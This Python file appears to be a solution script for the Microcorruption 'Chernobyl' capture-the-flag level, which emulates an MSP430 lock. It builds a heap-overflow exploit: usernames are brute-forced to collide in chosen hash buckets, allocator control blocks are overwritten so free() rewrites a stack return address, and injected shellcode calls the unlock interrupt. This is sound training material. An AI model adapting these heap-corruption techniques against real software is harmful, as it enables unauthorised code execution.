microcorruption/chernobyl/utils.py

203 lines
7.3 KiB
Python

import random
import string
def decode_malloc_status(word: str):
""" Decode a status word into the size and allocation value. """
assert(len(word) == 4)
i = int(word[2:4] + word[0:2], 16)
s = ''
if i & 1:
s += '[alloc] '
else:
s += '[free] '
i = (i >> 1)
s += f'[size {i:04x}]'
print(s)
def hash_user(user: str) -> str:
""" Takes a user string and runs it throug the hash function. """
r15 = 0
for i in range(len(user)):
r13 = ord(user[i])
r13 = (r13 + r15) & 0xffff
r15 = r13
r15 = (r15 + r15) & 0xffff
r15 = (r15 + r15) & 0xffff
r15 = (r15 + r15) & 0xffff
r15 = (r15 + r15) & 0xffff
r15 = (r15 + r15) & 0xffff
r15 = (r15 - r13) & 0xffff
return f"{r15:0{4}x}"
def user_to_hash_table_index(user: str) -> str:
""" Takes a user string, hashes it and computes the table offset. """
hash = int(hash_user(user), 16)
# hash &= 0x7 # 3 for initial hash table state
hash &= 0xf # 4 after one rehash (rehash increases the table size)
return f"{hash:0{4}x}"
def hash_pin(pin: str) -> str:
""" Function to hash a pin. Turns out this is not needed. """
r10 = 0
r12 = r10
for i in range(len(pin)):
r12 = r10
r12 = (r12 + r12) & 0xffff
r12 = (r12 + r12) & 0xffff
r12 = (r10 + r12) & 0xffff
r12 = (r12 + r12) & 0xffff
r10 = ord(pin[i])
r10 = (r10 + 0xffd0) & 0xffff
r10 = (r10 + r12) & 0xffff
# print(hex(r10), hex(r12), pin[i])
return f"{r10:0{4}x}"
def find_users_that_hash(number_users: int, hash_index: int):
""" Generates a number of random users that hash to the provided index.
Note: The hash index is only valid for a specific hash table size (3 or 4).
See user_to_hash_table_index to change that value.
"""
strings = []
while len(strings) < number_users:
user = generate_random_string(3)
index = user_to_hash_table_index(user)
if index == f"000{hash_index}":
s = f"new {user} 1337;"
strings.append(s)
r = "".join(strings)
return r
def transform_ascii_to_bytes(input_str: str) -> str:
""" Transform '123' into '313233'. """
return "".join([f'{ord(c):02x}' for c in input_str])
def transform_bytes_to_ascii(input_str: str) -> str:
""" Transform '313233' into '123'. """
r = ""
for i in range(0, len(input_str), 2):
s = input_str[i:i + 2]
r += chr(int(s, 16))
return r
def generate_random_string(n: int) -> str:
""" Generate a random string with n lowercase letters. """
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for _ in range(n))
def create_deterministic_users():
""" Create users deterministically to poke around. """
print(";".join(["new " + 8 * c + " 1337" for c in 'abcdefghijklmn']))
def append_for_specific_hash(user: str, hash_index: int) -> str:
"""
This takes a certain user string and then appends a random string to put
the result into the hash table entry indicated by `hash_index`. This is
useful to allocate a payload at a specific offset.
"""
for _ in range(50):
potential_user = str(user) + generate_random_string(2)
index = user_to_hash_table_index(potential_user)
if index == f"000{hash_index}":
return potential_user
return f"XXX COULD NOT HASH {user} to {hash_index}! XXX"
def gen_first_override_block() -> str:
"""
Once the 0 table is filled up, we use this block to override the allocation
table. The main purpose is to set next to a block that is **not** the second
block. That is necessary because otherwise `free` would destroy our second
block via the reference here. I just found the values out "empirically".
"""
s = "6e657720" # "new "
prev = "8853" # prev
next = "a854" # next
status = "b510" # status
user = transform_bytes_to_ascii(prev + next + status)
user_with_postfix = append_for_specific_hash(user, 0) # allocate at index 0
s += transform_ascii_to_bytes(user_with_postfix)
s += "20313333373b" # " 1337;"
return s
def gen_second_override_block() -> str:
"""
This block contains one of the key insights. By setting prev to 0x3dca
which is allocated on the stack, we can make free write into the stack via
`status` (which is at 0x3dca + 4). By choosing status we can override the
return address from the `free` call to jump to our inserted shell code on
the heap.
"""
s = "6e657720" # "new "
prev = "ca3d" # prev (address on stack where we override return address)
next = "0855" # next
status = "c70b" # value that has to be added to return address to reach code injection address
# r12 at address where we can maniuplate it to return value: 49a8
# r12 will be written into 3dca + 4 which <free> uses as the return address
# Target address: 556e
# Required status value: 556e - 49a8 = bc6 -> c60b --[with alloc bit] -> c70b
user = transform_bytes_to_ascii(prev + next + status)
user_with_postfix = append_for_specific_hash(user, 1) # allocate at index 1
s += transform_ascii_to_bytes(user_with_postfix)
s += "20313333373b" # " 1337;"
return s
def gen_shellcode() -> str:
"""
This function generates the payload. We cannot push 0x007f directly
(because of the null byte), so instead, we add a longer value to r5 which
results in 0x7f and then push r5 before calling <INT>.
"""
s = "6e657720" # "new "
# This shell code is expected to be located at 556e
shellcode = "35503dad" # add #0xad3d, r5 ; will give us 0x7f in r5 (I just took whatever value was in r5 here)
shellcode += "0512" # push r5
shellcode += "b012ec4c" # call <INT> ; boom :)
user = transform_bytes_to_ascii(shellcode)
user_with_postfix = append_for_specific_hash(user, 5) # allocate at index 5 which matches address 556e
s += transform_ascii_to_bytes(user_with_postfix)
s += "20313333373b" # " 1337;"
return s
def main():
# create_deterministic_users()
# decode_malloc_status("1337")
print("Hex payload to open lock:")
random.seed(1) # easier debugging
s = transform_ascii_to_bytes(find_users_that_hash(5, 0)) # fill up index 0
s += transform_ascii_to_bytes(find_users_that_hash(5, 1)) # fill up index 1
s += transform_ascii_to_bytes(find_users_that_hash(5, 2)) # fill up index 2 (triggers rehash)
# After the rehash 0, 1, 2 are still at the same locations because we use
# 0xf in user_to_hash_table_index.
s += gen_first_override_block() # append override block at index 0 (overriding malloc control block)
s += gen_second_override_block() # append override block at index 1 (overriding malloc control block)
s += gen_shellcode() # insert shell code at index 2
s += transform_ascii_to_bytes(find_users_that_hash(5, 3)) # trigger rehash by filling up index 3
# The second rehash will free the manipulated override block inserted via
# gen_second_override_block. When returning from free we jump the shellcode
# and open the lock. Note that gen_first_override_block is required so that
# free running on the first memory block doesn't override the second block.
print(s)
if __name__ == "__main__":
main()